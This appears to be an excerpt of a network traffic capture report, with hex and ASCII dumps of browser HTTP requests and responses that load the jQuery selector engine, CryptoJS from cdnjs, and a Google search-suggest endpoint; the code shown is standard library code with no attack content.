2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:50 UTC	695	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:50 UTC	960	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:50 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 742963 Expires: Mon, 16 Mar 2026 21:42:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p0EOV6ez9lIL7pF%2B0X3z9wC6xPUtxRrKZdwqE900gcOvC2hYvEcU3%2B0aLUXBwNIMQsqOEBiRvU4rIze2EKGY%2BDaBPOnlGHBtiF00i%2BLffZ7Abfhoxh3wcnczvWcG41EP64zPkvmC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9269d1f59d1f6a56-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 21:42:50 UTC	409	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2025-03-26 21:42:50 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:50 UTC	587	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:51 UTC	1303	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:50 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-83CXJMXOJzRjidIWZiZ-Xg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness 